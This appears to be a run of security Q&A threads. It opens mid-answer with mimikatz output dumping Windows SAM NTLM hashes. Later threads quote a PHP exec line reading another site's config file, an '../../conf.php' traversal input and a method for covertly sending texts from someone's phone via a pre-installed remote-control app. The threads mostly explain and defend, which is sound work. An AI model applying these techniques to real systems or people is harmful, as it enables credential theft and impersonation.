 * Thread Token  : 624196       AUTORITE NT\Système     S-1-5-18        (04g,30p)       Impersonation (Delegation)

mimikatz # lsadump::sam
Domain : VM-W7-ULT-X
SysKey : 74c159e4408119a0ba39a7872e9d9a56

SAMKey : e44dd440fd77ebfe800edf60c11d4abd

RID  : 000001f4 (500)
User : Administrateur
LM   :
NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0

RID  : 000001f5 (501)
User : Invité
LM   :
NTLM :

RID  : 000003e8 (1000)
User : Gentil Kiwi
LM   :
NTLM : cc36cf7a8514893efccd332446158b1a

You can download x86 and amd64 binaries of the mimikatz here.

As a side note – if you want to make sure that password's hash is hash of your password, you can easily do it using Python:

user@mycompa:~$  python3
Python 3.5.3 (default, Jan 19 2017, 14:11:04)
[GCC 6.3.0 20170118] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import hashlib, binascii
>>> passwd = "password"
>>> hash = hashlib.new('md4', passwd.encode('utf-16le')).digest()
>>> print(binascii.hexlify(hash))
b'8846f7eaee8fb117ad06bdd830b7586c'


What's the difference between "Due Care" and "Due Diligence"? Can someone please explain the difference between "due care" and "due diligence"?  They seem very similar to one another and after researching more and more, I'm getting confused.

One tech book described it like this:

  Due care is using reasonable care to protect the interests of an
  organization. Due diligence is practicing the activities that maintain
  the due care effort. For example, due care is developing a formalized
  security structure containing a security policy, standards, baselines,
  guidelines, and procedures. Due diligence is the continued application
  of this security structure onto the IT infrastructure of an
  organization. Operational security is the ongoing maintenance of
  continued due

And yet, other online resources have described it like this:

  Due diligence is performing reasonable examination and research before
  committing to a course of action. Basically, "look before you leap."
  In law, you would perform due diligence by researching the terms of a
  contract before signing it. The opposite of due diligence might be
  "haphazard" or "not doing your homework."

  Due care is performing the ongoing maintenance necessary to keep
  something in proper working order, or to abide by what is commonly
  expected in a situation. This is especially important if the due care
  situation exists because of a contract, regulation, or law. The
  opposite of due care is "negligence."

and still another person online phrased it as:

  Due Diligence: Performing the necessary research
  Due Care: Performing
  the actions identified as necessary from due diligence

These definitions all seem to be a little different from one another.  Help?

The issue is somewhat complicated by the fact that "due diligence"  has a distinct, legal meaning in contract law, but since OP added the CISSP tag, I'll confine this answer to the usual meaning in that context.

Simply put "due diligence" is what you know, and "due care" is what you do.  Absence of "due care" might open you or your company to legal consequences (e.g. not following the law about data protection) while absence of "due diligence" would be more likely to open you up to making a bad decision or business deal.

"Due diligence" can also cover the verification (knowing) that "due care" actions have been carried out.  This is where most folks get confused.  The point is, "diligence" is about knowledge.  Knowledge of right- or wrong- doing (care).  Have you done your research? Do you know where your assets are?  Are your policies being followed?  Answering those questions are all "due diligence."

"Due care" covers activities like following the policies, applying the patches, encrypting the data as required by law.

Frequently the data custodians are more concerned with exercising "due care" in handling data.  Data owners, and management, are frequently more concerned with "due diligence" (e.g. are the policies being followed, and has 'due care' been exercised when handling data).

With these ideas in mind, you can re-read the examples cited above, and perhaps they will make a bit more sense together.

It can be a subtle distinction, but its an important one.

Full disclosure: I've only had my CISSP for about five months. I don't claim my answer is perfect.


Attacking (or even pinging) a device over a network on different VLAN If a firewall is configured with different VLANs, how could an attacker perform an attack over a different VLAN. I see a lot of information on scanning, exploiting, and other attacking methods using a device's IP address. Most of this information is assuming the attacker is on the same VLAN as the target (for simplicity sake).

For example, I am the attacker and my IP address is 192.168.1.10. My target's IP address is 192.168.2.10. I want to run an exploit against my target, yet I can't even ping the target (Destination Host Unreachable).

I understand this is because the firewall on the network divides up the network into virtual LANs and everything routed is through the firewall. Therefor, if one device tries talking to a different device on a separate VLAN, the router says "I don't know what you're talking about" (correct me if I'm wrong here).

Is it possible to attack a target from a different VLAN, and if so, what are some methods used? I am having a hard time figuring out different attacking methods when a simple ping reports an unreachable destination.

If the firewall which defines the VLANs is configured not to allow traffic between the VLANs then the answer is that you can't unless the firewall is in some way misconfigured. That's part of the reason for having VLANs in the first place.

However routes may exist for some specific traffic from VLAN to VLAN, or between devices on different VLANs, but they need to be configured as such in the firewall.

From personal experience I've seen TCP traffic controlled between VLANs but not UDP, and also ICMP sometimes allowed between, but this is due to the firewall config.

This is not the same as possible ARP flooding switches to force a switch to revert to a broadcast hub to gain access to different areas of a switched LAN, firewalls don't (shouldn't) downgrade this way when under extreme stress. However, it's worth checking whether any vulnerabilities for the VLAN managing firewall exist that can be exploited to overcome VPAN separation controls.


Restrict user from executing shell commands using PHP Let's say that i have shared hosting and i want to secure that place, from executing shell commands. I'v installed suphp, so that users can execute PHP separately. I also did some other things in order to protect server (basedir and other recommended settings inside php.ini).

But the problem is still there: (i can execute and read config files from other websites)

<?php echo exec('cat /var/www/website/config.php'); ?>

If i disable exec function, still there are other ways to find out sensitive information from the server.

What can i do? Can i disable unix shell commands for specific user, will that take effect?

Edit: I'v changed premission on bin 754, before it was 755, and now users are unable to run shell commands using PHP. Is this a solution or not?

Disable exec and suexec, enable open_basedir and basically follow every suggestion in this post.

You mentioned still there are other ways to... if after reading that post you still have questions or weaknesses, please post them here or in Serverfault


Why don't browser DNS caches mitigate DDOS attacks on DNS providers? Why are the recent DDoS attack against DNS provider Dyn, and other similar attacks successful?  Sure a DDoS attack can bring an entity down, and if that entity controls DNS servers then queries to those nameservers will fail, and domains listed under those nameservers will not be reachable by any host that doesn't already have IP information for them.

But since browsers cache DNS records, many hosts will already have IP information for those domains (at least until their cache entries expire) and therefore the fact that the nameservers are down shouldn't matter to the hosts with caches.  But this does not appear to be the case: during yesterday's attack I was unable to access github, npm, etc.

You are correct that the DNS cache would mitigate against a nameserver being unavailable.  It is extremely common to have a TTL of 5 minutes or lower.  Hence, 5 minutes after the DDOS attack brought down Dyn, your cache would've been invalid and you wouldn't have been able to hit github, etc.


Can you get virus just by visiting a website in Chrome? I've recently read Google Chrome: The End of Drive-By Downloads. Is it true to say that drive-by-downloads are history in Google Chrome?

So if I have a link (from a spam email) I can right-click >> open in new incognito window >> and be 100% sure that there is no virus / damage to my system?

Initially i've asked this question at https://webapps.stackexchange.com/questions/15209/anonymous-links-in-email/15211 but I'm not getting a good answer (and besides the answers are all targeted at phishing-sites whereas my question is targeted at "virus-sites").

Short answer: Yes, you can get a virus just by visiting a site in Chrome or any other browser, with no user-interaction needed (video demonstration). Even with Chrome you are not 100% secure - and you probably never will be with any browser, but Chrome is getting pretty close to it and the security research community seems to agree that at this time, it is the most secure browser you can use.

Long answer:
Chrome, at this time, is the most secure browser that exists in windows, because of the sandboxing techniques it uses which add up to the security.
A good description of this sandbox is here: http://blog.chromium.org/2008/10/new-approach-to-browser-security-google.html although a bit dated. A more recent and technical one is here: http://dev.chromium.org/developers/design-documents/sandbox

The general idea is that a malicious website will have to use two separate exploits to achieve code execution on your pc: The first one exploiting the browser, the second exploiting the sanbox. This has been proven a very hard thing to do - it has not be done ever.

Your question comes at a nice timing: A week ago the security research firm VUPEN claimed that it broke chrome sandbox and published the following announcement: http://www.vupen.com/demos/VUPEN_Pwning_Chrome.php
If you watch the video, you will see that no user interaction was necessary besides visiting the malicious URL, and a sample application popped up out of nowhere (it could be virus instead).
The attack description proved to be wrong (but that does not matter much to simple users): The sandbox itself was not breached. It turned out that VUPEN exploited a bug in Adobe Flash Player, which is a plugin almost everybody has installed - and this plugin was not sandboxed. The answer of Google is that they are moving and developing fast so that this plugin will be sandboxed eventually in the next versions.

To sum it up: As you could see in the video, you can never be 100% sure that you are safe, so be careful, don't open links you don't know where they go or don't trust the sites.

Sidenote: NSA recently published a document indicating "Best Practices" for user security on the internet: Among those is the recommendation to use a browser that has a sandbox.

Here is the report: http://www.nsa.gov/ia/_files/factsheets/Best_Practices_Datasheets.pdf

Another sidenote: Internet Explorer 9 is advertised as having a sandbox, but security researchers agree that it is not properly implemented and have demonstrated successful attacks against it.

And a third one: The incognito window has nothing to do with virus protection, but can be useful in certain classes of attacks where cookie stealing or similar is the target because it separates browser instances and isolates information available.

Finally, there are technologies that offer better protection, like sandboxie and running browsers in virtual machines.


How often are you attacked by an IP-range scan? I heard that if you use an old Windows XP and your computer is connected directly to the internet with its own IP, you get a trojan within hours because the complete internet ipv4 range is regularly scanned by automated attackers.

Would this be possible?

And how likely is this happening?

I can't comment on Windows XP as such but I can say that if you add a new connection to the internet, common ports will start being scanned certainly within 30min and sometimes within seconds.

This is not theoretical but actual.

As for XP getting a trojan, that is perhaps a little less likely unless you were to connect up an unpatched version of XP - maybe one that had been offline for a couple of years. But I've not tried it so I can't say for sure. If you have the kit lying around, why not try it?


LFI - Bypass Preg_Replace I have a script that have this code:

$name = preg_replace('/[^a-z0-9_.]/', '', $_GET['name']);

$_GET['name'] = ../../conf.php but preg_replace filtered my slash (/) and $name will be ....conf.php
Can I bypass it ?

Likely not.  That is a whitelist regex (the ^ is a not) which replaces anything that isn't literally a-z or 0-9 or underscore or period with nothing - it removes it.

That is actually the recommended way to do that if you can - by being so restrictive on what is allowed, they eliminate control characters, slashes, escaping (% or &), everything that might break it.

Best you can do that I can see is '..', which might cause it to open the parent directory and provide some info for you, but probably not.


How do GnuPG smartcard generate reliable random data? I'm generating a private key on my new GPG smartcard at this very moment.

On linux, the random would be fed by the keystrokes on my keyboard, the network packets, the mouse movements etc.

How does the chip on my smartcard generate unpredictable random numbers?

Almost all - if not all - smart cards have a true random number generator (TRNG) on it. Most often the TRNG depends on thermal noise or clock drift, but other entropy sources are possible. A more technical evaluation of this can be found e.g. here ("Sources of Randomness in Digital Devices
and Their Testability by Viktor Fischer"). For a longer set of options, have a look at the "hardware random number generator page on Wikipedia. Which one is implemented depends on the specific model of smart card that you are using. It may be hard to find out because commonly this kind of info is hidden in technical documentation that you may not have access to.

The entropy generated by such a TRNG are commonly whitened and / or fed into a CSPRNG before they are used by the OS, applications and / or libraries on the smart card. Usually the RNG's are validated against FIPS 140-2 or AIS31 (German BSI), possibly as part of a Common Criteria certification. The certification of the TRNG / CSPRNG is commonly mentioned in the data sheets of the specific processors and the certification may indicate the precise TRNG that is used.

In your case undoubtedly either a whitened TRNG or a CSPRNG seeded from that TRNG is used for generating two primes of half the key size for your key pair. This requires a lot of randomness. How much entropy and randomness is used depends on the implementation and possibly how much luck the implementation has on finding the primes.

Note that Linux will nowadays also use randomness on chips that support the RDRAND implementation specified by Intel and copied under their agreement by AMD for their Ryzen chips. Because not everybody trusts this kind of random source it is common to mix in entropy from other sources. Other CPU's such as VIA's Eden processors have sported other chip based solutions. Motherboards often contain a TPM chip as well, which is commonly based on a Smart Card design, and sports the same kind of hardware TRNG.


How to only send hashed passwords while not storing passwords in plaintext on the sever? In a web-based auth system I do the following:

Client: Ask the server for a "nonce".
Client: Generate a "cnonce".
Client: hash(nonce + cnonce + password)
Client: Send cnonce and the hash from point 3 to the server.
Server: hash(nonce + cnonce + password)
Server: Compare the hashes.

This would require me to save passwords in plaintext/encrypted as the server needs "password" to calculate the hash to compare with.

Of course I don't want to do this and therefore I hash all passwords saved on the server with hash(password, salt). But now I can't compare with the hash the client sends me as I don't have the password component.

One way to solve this would be to provide the client with the unique user salt so that the client could calculate hash(nonce + cnonce + hash(password, salt)) and send it to the server, allowing the server to compare the hashes. But according to How to store salt? the salt should never be shared.

The reason to why I use nonce on a HTTPS connection is described in: Should I hash the password before sending it to the server side?

So my question is how to get out of this infinite loop of "don'ts"?

To summarise the comments:

I don't fully understand the stackoverflow answer you are referring to. In your explanation you send a nonce from the server to the client over HTTPS which is considered broken in this attack. Therefor the attacker obtains the nonce. A cnonce is generated and both nonces and the password are hashed.

The cnonce and the hash are sent over the (presumably insecure) HTTPS connection. The attacker now has the nonce, cnonce and hash. He can try to reverse the hash to obtain the password (bruteforce). But that is not even necessary as the server is willing to accept the hash and grant access. The attack simply resends the hash. As @Matthew stated, you've just created a password substitute.

You could invalidate the server nonce after one authentication so that if the hash is resent it is rejected. This seems like a security improvement since the attacker could only succeed by reversing the hash which is very hard with complex and long passwords.

Does the effort outweigh the benefit? I think so, HTTPS is considered secure if configured correctly. The entire internet is depending on HTTPS to secure authentication so unless your application is very sensitive, you should rely on it.

Good luck on the assignment!


Is there a strong reason to salt and hash passwords when password reuse is not an issue? I am dealing with a system (in development) that uses randomly generated (not user provided), unique, strings to authenticate services that will consuming an API. Right now, these strings are stored in the database in plain text.
I would like to understand if there is a strong reason to re-engineer this system, so that these strings are salted and hashed.
My understanding of the reasons for storing passwords only as salted hashed is as follows:

An attacker may gain access to your database.
At this point you don't have much left to loose, the attacker can already access your customer's data, and do pretty much whatever he wants. User passwords are a moot point. HOWEVER...
Your users may be using the same password for other things. If you don't salt and hash properly, the attacker can use the stolen credentials to gain control of other resources, that have nothing to do with your system (besides sharing the same users, with bad password habits).

In other words, the point of salting and hashing passwords is to protect users from the consequences of password reuse. In my case, however, password reuse should not be a factor.
Is there still a strong reason to modify the system to salt and hash these "passwords" as well?
Edit:
At least some of these API keys are going to end up embedded into widely distributed applications anyway. The API key alone will not be enough to access all sensitive information. A regular username and password will also be required in most cases. Certain API users with special privileges will be restricted by IP address.

It's a fair question there are considerations you may not have thought of:

There are ways attackers can get access to parts of your database without accessing all of it, so your point 2 isn't quite correct. Coding errors can leak data, as can sql vulnerabilities. An attacker could get a dump of your passwords and nothing else
If you aren't storing your passcodes hashed then you probably are transmitting them in the clear in which case they could be sniffed if you are not correctly using SSL. Hashing these would provide defense in depth against attacks against transmission
Hashing stored passwords shows due diligence and a commitment to security. If you got breached and it became known that you weren't hashing your passwords it would look bad, even if your reasoning was sound. If you were audited it would look bad as well

My advice would be to hash your passwords, it's easy enough to do and the benefit is there.


Is it standard practice to ask a customer to send a photo of their credit card to confirm their identity? My friend ordered clothes from a clothing site and was asked to send a picture of her credit card.

Is it standard practice to ask a customer to send a photo of their credit card to confirm their identity?

It's not standard, and it's quite inadvisable.

The PCI security standard, with which any legit merchant will have to comply as part of their merchant account agreement, would require that a photo of the front of a card would have to be transferred using a secure, encrypted upload facility, stored encrypted at the merchant end, and, in the case of Amex cards which have the Card Security Code on the front, securely deleted after the transaction was authorised. It's very unlikely they've managed to get all this right, and if they asked you to send the photo through mail (or MMS etc) then clearly that could not be compliant.

That's not evidence of malice, but openly asking customers to do something non-PCI-compliant is evidence of incompetence, raising questions about their security in general.


Is Information Security a Cybersecurity area or the opposite? I'm reading about Cybersecurity and Information Security and I have questions:

Is Information Security part of Cybersecurity?
Is Cybersecurity part
of Information Security?
Both have just common concepts?

What's the right affirmation?
Cyber security versus information security article leaves me in doubt. Also, I think Information Security is too broad and envolves not just the IT context.

Where I work, our team just went through the exercise of how to define ourselves and what we do. I read through your article and while I agree to the point it's getting at, it doesn't want to define an overarching paradigm, because they have vested interest not too.

But I'll give you our context...

While our CISO doesn't agree, we like to refer to ourselves as Cybersecurity Experts.

From the Wiki:

  Cyber- is derived from "cybernetic," which comes from the Greek word
  κυβερνητικός meaning skilled in steering or governing.

Since our primary role is in governing all things related to Security in the organization, this makes sense. Other descriptions (InfoSec, DataSec, etc) are all extensions of this governance.

As an example, the Cyber Security team has developed a policy around who can see NPI (Information Security), who can access NPI (data security), and how to transfer it (Communication Security). The Cyber Security team enforces this by ensuring the Provisioning Team (Information Security) has provided adequate controls per a persons role, the data is stored encrypted, audited, etc byt the DBA's and Server Teams(Data Security) and TLS is setup from the Network Team(Communication Security).

Most of my posts talk about this, but what Security Teams primarily do, is Risk Governance. I think this is where the article goes bad. It's sexy to know about vulnerabilities and exploits, but that's not Security. Any techie can do that with a little googling. It's in how you manage you environment and how it connects where the real definition of security comes in.


Is it possible to have a text message that I didn't send appear on my smart phone making it look as if I did send the text? I have a client who claims that some text messages "appeared" on her phone that she did not send.  I think she may be telling the truth because it seems entirely too coincidental that these messages were sent just as my client filed for divorce.  I am also suspicious because I am told that her husband gave the text messages to his lawyer but he has not been around her (or her phone) for several months so he wouldn't have access to her phone.  I am also suspicious because there are only a limited number of texts, whereas it is my experience that more than a few texts would be exchanged between persons that were engaged in a romantic relationship.

Is it possible to have a text message that my client didn't send appear on her smart phone making it look as if she did send the text?  If so, am I correct in assuming that the person who is responsible for sending the texts would have access to those text messages?

It may be important to note that this did not occur on American soil.  My client was in Lebanon at the time these texts appeared on her phone.

Any help would be greatly appreciated.

It is possible, even without a hacker's technical skills but with a bit of planning ahead.

Multiple apps allow you to remotely control your own phone, which implies that you must install them yourself to your phone. Let's call your client Alice and her husband Bob. Let's assume Alice owns an Android.

It's fair to assume that Bob knows the PIN/gesture to Alice's smartphone: they have lived together after all. I certainly know my girlfriend's gesture from mere observations. Bob used to have access to the device and could have installed an app and left it dormant on the phone for long.

Then, he could have used that app to remotely send texts from the device. Those apps quite literally ask for the permission to send texts, so the texts do are sent from the device. I just tested sending a text from my computer with AirDroid, and I do see my sent text on the phone as well. I am also able to uninstall AirDroid from the computer to erase my traces.

The obvious warning...

This goes beyond opportunistic nuisance, as it requires a bit of planning on behalf of Bob. If Alice and Bob have been away from one another for months then you must take the time to consider how likely you think such a scenario is, but I'd assume you're much more aware of this than I am.

What to do?

You'd need to look if there is any information in the Google Play account of Alice or on her device on apps that were previously installed -- I'm actually unsure of this. As you are a lawyer you may also be able to contact Google and ask for a history of the device and installed apps, which is something they might be expected to keep. As a last resort, ISPs and websites have to keep a history of connections from any IP address so you could try to trace back whether any connections to such remote texting apps' websites were made from Alice or Bob's devices.


How do websites tracker cookies and beacon work? Could someone please enlighten me, either on a technical level or high level if that detail is not feasible, on how tracker cookies and beacons work.

Particularly, how information on my browsing habits (shopping suggestions) can be persisted between different machines even when I only use one for work, never logging into personal accounts.

I'm not too concerned with my ISP knowing what I've visited but I resent companies collecting data for targeted advertising.

I already use the Ghostery add-on for Chrome. Do I need to start using VPN services? I didn't think companies were able to get information on your internet usage this way anyway.

Many thanks everyone.

A Cookie allows a website to place a small file on your computer, which is usually used as an "identifier" that then can then go do a query against in their database and go "ah, this is customer X who was browsing Y earlier today" - normally (outside of security exceptions which are patched), a site can only read it's own cookies, however, many rely on a 3rd-party cookie, such as google (adwords), to handle some of the work, allowing them to focus on their own things, instead of creating their own website completely, so they may have a small piece of code that says "go to google and insert a small portion of the website into this corner as an ad" - that code does so, and leaves behind a cookie, so that then google can check for the presence of this cookie on the page that the ad led to (and thus count if you clicked on it or not) - now many websites could use the google ad service (or any other large ad service), and google can "recycle" the cookies, and use them to track you from site to site

up till now everything has occurred on a single PC - now you go to another computer, and the same process goes on, and thus google has two cookies with information about sites visited from two computers - if the browsing habits are similar enough (such as you look at profile XYZ) on both computers, google can associate that "people who look at profile xyz are likely to shop for qwerty" - and begin to show you ads for qwerty, even if you never logged in - probably the best example of this is music services that "suggest" music based on what others who listen to similar music like, even if you have never heard of the band before, and with a relatively good accuracy - not perfect, but then there isn't too much harm in them guessing wrong either (usually - exceptions will always exist), and their profits are better when they do guess, so they try their best to do so.

edit: I am not sure about Ghostery, however most browsing would be severely restricted if cookies were completely disabled, and your still using Chrome - I imagine Google wouldn't allow it in their store if it did it's job too well..


What is the most secure way for two people to communicate? There are various services on the internet that offer secure communications. Typically in the past if I want to share some sensitive information with someone, I  will do so over a Cryptocat chat session, Privnote, or through an IRC channel set up on a "no log" VPN.

Am I looking in the right places when it comes to the services I use to keep my anonymity? Are there any flaws in these technologies? And what quite simply, what else is out there that you would recommend?

Edit: In reply to @Graham Hill, my immediate priority would be to first ensure that the information I am relaying gets to the person I am talking to, and only to that person. Obviously once they have it, it's up to their discretion on how they're going to store it, I'm more speaking in terms of making sure that the infrastructure is set up so that the only cause for data being leaked would be improper storage of the information by either party.

Before looking at specific technological solutions, you need to do some thinking about your threat model. Who is the "enemy"? What do they want, and what resources do they have?

For example, keeping the content of the communications secret is one thing, hiding the fact that you are communicating is another, verifying the identity of the other person is yet a third.

And keeping secrets from your mom is one thing, keeping secrets from the Politburo Standing Committee of the Communist Party of China is another.

You also need to understand your resources. Can you establish a short-term secure channel to the other party (so you can exchange keys)? Can you use cut-outs? Can you arrange to use a different computer each time you communicate?


Storing sensitive information for a short time, how should I encrypt it or do I even need too? So I will be accepting some sensitive information via a html form, I will be using PHP to store the information. All this has been set up, tested etc. The form works in 4 "steps", each step is its own unique html form on a separate php page (step1.php, step2.php, step3.php, step4.php).

My issue is now we are starting to store some sensitive information (SS numbers, phone numbers, work history, etc) it is only stored by us through the duration of the form steps once they submit at step4 all information is sent to a secure environment and stored safely there (the remote server is not under my control) and removed from our environment.

The data is getting stored in PHP sessions, which stores the data in tmp files all temp files are auto removed every 30 min just in case a sessions never completed all information is still removed.

So it comes to the real question now that you have all the information, should I be encrypting this data? I dont know much about crypto and standards.

If someone gains access to your system while its running then even if you encrypt your data the attacker can simply use the same key to decrypt it. So in that case no security is added.

However, if an attacker is able to get physical access to the server and steals the storage medium then having the data encrypted would deny him access if the password is only stored in memory (and randomly created at bootup). You would have to be careful though that any files you store are stored immediately in encrypted form and never touch the harddrive because in that case they might still be recoverable.


SSL Client Authentication: Basic and extended usage (in theory) Till now I understood Client Authentication as a way to limit access for certain clients.

But after reading https://en.wikipedia.org/wiki/Transport_Layer_Security#Client-authenticated_TLS_handshake
I am not that sure anymore and would like to discuss here to get my eyes opened.

It is all theoretically.

The client does have a keypair. In the handshake it sends the certificate (the signed pubkey) and also a signed random data. Because the server uses the sent cert to verify the signed data is knows the client is in possession of the privkey too. And because of the chain-of-trust and the issuer the server also does know that the client is authentic.
And there is absolutely no need that the clients cert must be signed with the servers key. It can be any issuer as long the server can verify the clients chain-of-trust. But that depends of the servers CA.
To design the limited access we can use the CA. Put only the servers keypair in it and only clients would be able to access that uses certificates that are signed with the servers CA. All others will not pass the verify because the chain-of-trust.

Is my view correct?

Thanks!
Chis

Basically this is right. The Webserver will only accept client certificates signed by the trusted CA.

But take a look at a (well, deprecated) Apache directive SSLRequire. https://httpd.apache.org/docs/2.4/mod/mod_ssl.html#sslrequire

In addition you can set further conditions on the client certificates like the subject being in a certain OU or the subjects email address following certain rules.

But this is only the necessary requirement to have the TLS connection set up! Then withint this TLS connection you are most probably still running an application. This application can request the information from the clients certificate and allow access based on the certificate's subject.

Which means: You might restrict setting up the TLS connection to a certain   department of your company identified by the e.g. OU in the certificate. But still the application may grant different rights or roles based on the CN or emailAddress within the cert's subject.


How do I decrypt an Adobe Triple DES ECB-mode encrypted password? So as you may have heard, the Adobe user database with 130 million records was leaked recently.  I want to find out what password I used for the Adobe account I created to make sure that I'm not using it anywhere else.  But how do I decrypt the Triple DES ECB-mode encrypted password? Is there a way to do this without knowing the Adobe Cipher Key? Is there a way to get the Cipher Key?

The encryption key was never published and triple DES itself is strong enough to not brute force, so you have to use some of the other mistakes to attempt to recover your password.

Your options are: exploit the fact that they used ECB and use the hints.

To do this you will find your encrypted password and see if other users had the same block. For example, say your encrypted password blocks were (shortened for simplicity): 87bef a31cd and you find another user that had 87bef 37cfe you know that the first 8 characters (since DES blocksize is 8 bytes) of your password are the same as the first 8 of the other user. Then you can use their hint to help figure your password out. Same process applies to subsequent blocks.


Can I add a password to an existing private key? Say I have previously created a private/public key combination, and decided at the time to not protect the private key with a password. If I later decide to "beef up" security and use a password-protected private key instead, would I need to generate a new private/public key pair, or can I simply add a password to my existing private key?

Is the opposite possible as well, can I "remove" a password from an existing private key?

A word of caution: as stated in laverya's answer openssl encrypts the key in a way that (depending on your threat model) is probably not good enough any more.

Of course you can add/remove a passphrase at a later time.

add one (assuming it was an rsa key, else use dsa)

openssl rsa -aes256 -in your.key -out your.encrypted.key
mv your.encrypted.key your.key
chmod 600 your.key

the -aes256 tells openssl to encrypt the key with AES256.

As ArianFaurtosh has correctly pointed out: For the encryption algorithm you can use aes128, aes192, aes256, camellia128, camellia192, camellia256, des (which you definitely should avoid), des3 or idea
remove it

openssl rsa -in your.key -out your.open.key

you will be asked for your passphrase one last time
by omitting the -aes256 you tell openssl to not encrypt the output.

mv your.open.key your.key
chmod 600 your.key


Authentication for SPA I am developing an application for my company with the following parameters & components:

1st Party Frontend Single-Page Application (SPA).  This is implemented in TypeScript (a dialect of JavaScript), and we are developing the code in-house.
1st Party Backend REST API which gives access to a MongoDB sitting elsewhere.  This is implemented in JavaScript and uses Express running on Node.  We are developing the code in-house.  Right now all this piece is doing is providing CRUD operations over a REST API.
These applications shall only be available to our employees.  All employees have Windows 10 laptops which have been joined to our company's Azure AD.
We do not have an on-premise ADFS server.  We are 100% cloud.
The application will use Azure resources in it's business logic, such as Graph API.
The application will also use other 3rd party resources, such as our company Dropbox.
Authenticating to "the application" should also authenticate against all other 3rd party applications (like Dropbox) as seamlessly as possible.
Today we have 10s of employees.  It is highly unlikely we will have more than 50 employees in the next couple years, when this app will rev to version 2 and I will hire someone to build it.

The time has come to implement Authentication and Authorization for our application.  The application should both Authenticate and Authorize against Azure AD.  The ideal scenario is that a user logged in to the company laptop should be auto-magically authenticated on the application, and that users on another machine (think airport or hotel kiosk) would login using their Azure AD credentials.

My question is around which OAuth2 grant flow should be used in this scenario.

I have read a number of articles from Microsoft and OAuth, gone through a number of Udemy classes etc, and gotten conflicting advice from these sources.  Some suggest that SPA's should use an implicit grant, while others say that if there is business logic on a backend server (and there is/will be) that a Client Credentials Grant should be used.

I'm a highly experienced developer, but I'm no security expert.  In my perfect world I would outsource the design and implementation of the authentication piece of this app to someone who is a security expert, but budget is a major restriction here.  It is simply not feasible to spend thousands of USD to have someone build this for us at this stage.

All this being said, given the design and architecture laid out above, how should authentication be implemented?  Which grant flow should be used?

TL;DR Go with implicit... Check Which OAuth 2.0 flow should I use? for a visualization of the decision process.

When it comes to authentication, the devil is on the details... I'll try not to forget of any.

The base OAuth2 specification introduced four grant types:

implicit grant
authorization code grant
client credentials grant
resource owner password credentials (ROPC) grant

If you exclude ROPC which was included to provide a seamless migration path for applications that used to store the username and password in order to be able to act on behalf of the user, you're left with three possible grants.

Among these three, you make a clear distinction between the client credentials (CC) grant and the other two. The CC grant is aimed at client applications that want to access resources on behalf of themselves, that is, with the identity of the client application itself.

This implies that in order to use this grant a client application must be able to perform client authentication in order to prove that the request is coming from the legitimate application.

A SPA cannot perform client authentication because any secret, key that you store in the application as a means to authenticate would be visible to anyone that wanted to look through the source code. The CC grant is then restricted mostly to server-side applications where keeping a secret is easier.

Another major point is that if you want your client application to access resources owned by an end-user and/or perform actions on their behalf then the CC grant is not applicable.

It seems the pool of choices is now half of what we started with and the remaining candidates are the implicit or authorization code grant. In general, if you have a SPA the code performing the requests requiring authentication/authorization is on the browser-side so the obvious choice would be the implicit grant because it delivers the tokens as part of the authorization endpoint response and does not require an additional request to the token endpoint which in browser-land could signify a CORS request which might or might not be feasible.

As an additional note, if the components you described (Front-end SPA and Back-end API) are seen as a single application living under the same domain, with no plans on opening the API to other applications it should even be feasible to rely on traditional HTTP-only cookie-based authentication that would be bootstrapped by an ID Token received according to OpenID Connect rules. You mentioned REST so just want to make a disclaimer that cookie-based authentication does not necessarily imply a server-side managed session; however, cookie-based authentication would require CSRF mitigations.


TrueCrypt "silently" updated bootloader I have just updated TrueCrypt from version 7.1a to 7.2. Upon next system restart I have noticed that bootloader was updated as well, because it now shows message about TrueCrypt being not safe.

There was no information in version 7.2 installer about possible update to bootloader (only about updating Windows version of TrueCrypt). In certain BIOS configurations update to bootloader is considered a security risk and may be blocked by BIOS itself.

Shall I treat this as a security breach? Shall I be concerned in anyway?

Note that this is purely theoretical question, asking if any change to bootloader should be considered as a treat or as a normal situation.

No, it is not a security breach. It is as fine as it was before. There is no change in safety.

7.2 was created in order to warn everyone that TrueCrypt will stop being developed and practically it is a limited version of TrueCrypt's final release: 7.1a.

You should have not updated to 7.2 because there is no reason to do so and no functionality improvement from 7.1a to 7.2.

At this moment, TC (7.1a) is perfectly safe, but considering the fast-paced development of computing power, on the long term you should consider switching to VeraCrypt which is safer against brute force.


What useful security reports can be extracted from a Windows-based machine and its related logs? What logs and event IDs should I be paying attention to when looking at a Windows-based machine  (workstation, server, Domain Controller)?

Assuming I can aggregate them into a report what information should I include in Standard Operating Procedures (SOP) reviews?

For log analysis OSSEC has a few files with MS specific rules designed to extract interesting security events.  To see individual rules one can peruse these files:

  [/var/ossec/rules]# ls -l ms*
  -r-xr-x--- 1 root ossec 31423 Sep  7  2010 msauth_rules.xml
  -r-xr-x--- 1 root ossec 11978 Sep  7  2010 ms_dhcp_rules.xml
  -r-xr-x--- 1 root ossec  1547 Sep  7  2010 ms-exchange_rules.xml
  -r-xr-x--- 1 root ossec  2077 Sep  7  2010 ms_ftpd_rules.xml
  -r-xr-x--- 1 root ossec  2190 Sep  7  2010 ms-se_rules.xml

For the latest copy of these rules files you can head over to bitbucket -> https://bitbucket.org/dcid/ossec-hids

(under Source -> ossec-hids / etc / rules /)


Barracuda antispam access to active directory in dmz : opening port or not? I have a Barracuda Antispam unit and look to use recipient validation with active directory to stop sending NDRs (non-delivery reports) when we are being spammed.

What I see on the web is people opening the port between the barracuda unit IP address in the DMZ and the active directory domain controller in the LAN.

As it is only allowed for the barracuda unit am I paranoid? Do you think I could do it, or is there a better way?

Like most such solutions, the Barracuda Antispam offers directory lookup (LDAP/LDAPS), SMTP "look-ahead" where each recipient is validated on the next SMTP hop before being accepted, and a manual recipient list -- see Solution #00003521. Only the directory lookup approach requires an additional port, you would need to permit LDAP/LDAPS (389/636) or more commonly the GC ports (3268/3269) from the Barracuda to a suitable AD server.

Domains > manage domain > Users > LDAP Configuration

You can configure a low-privilege AD user which only needs search access to user email attributes in your AD tree (then enable it for the domain on the Barracuda under the ''Valid Recipients'' tab). Assuming you do not permit anonymous search access to your directory (not recommended), you should use a dedicated search user and LDAPS, this will require a certificate on the AD server.

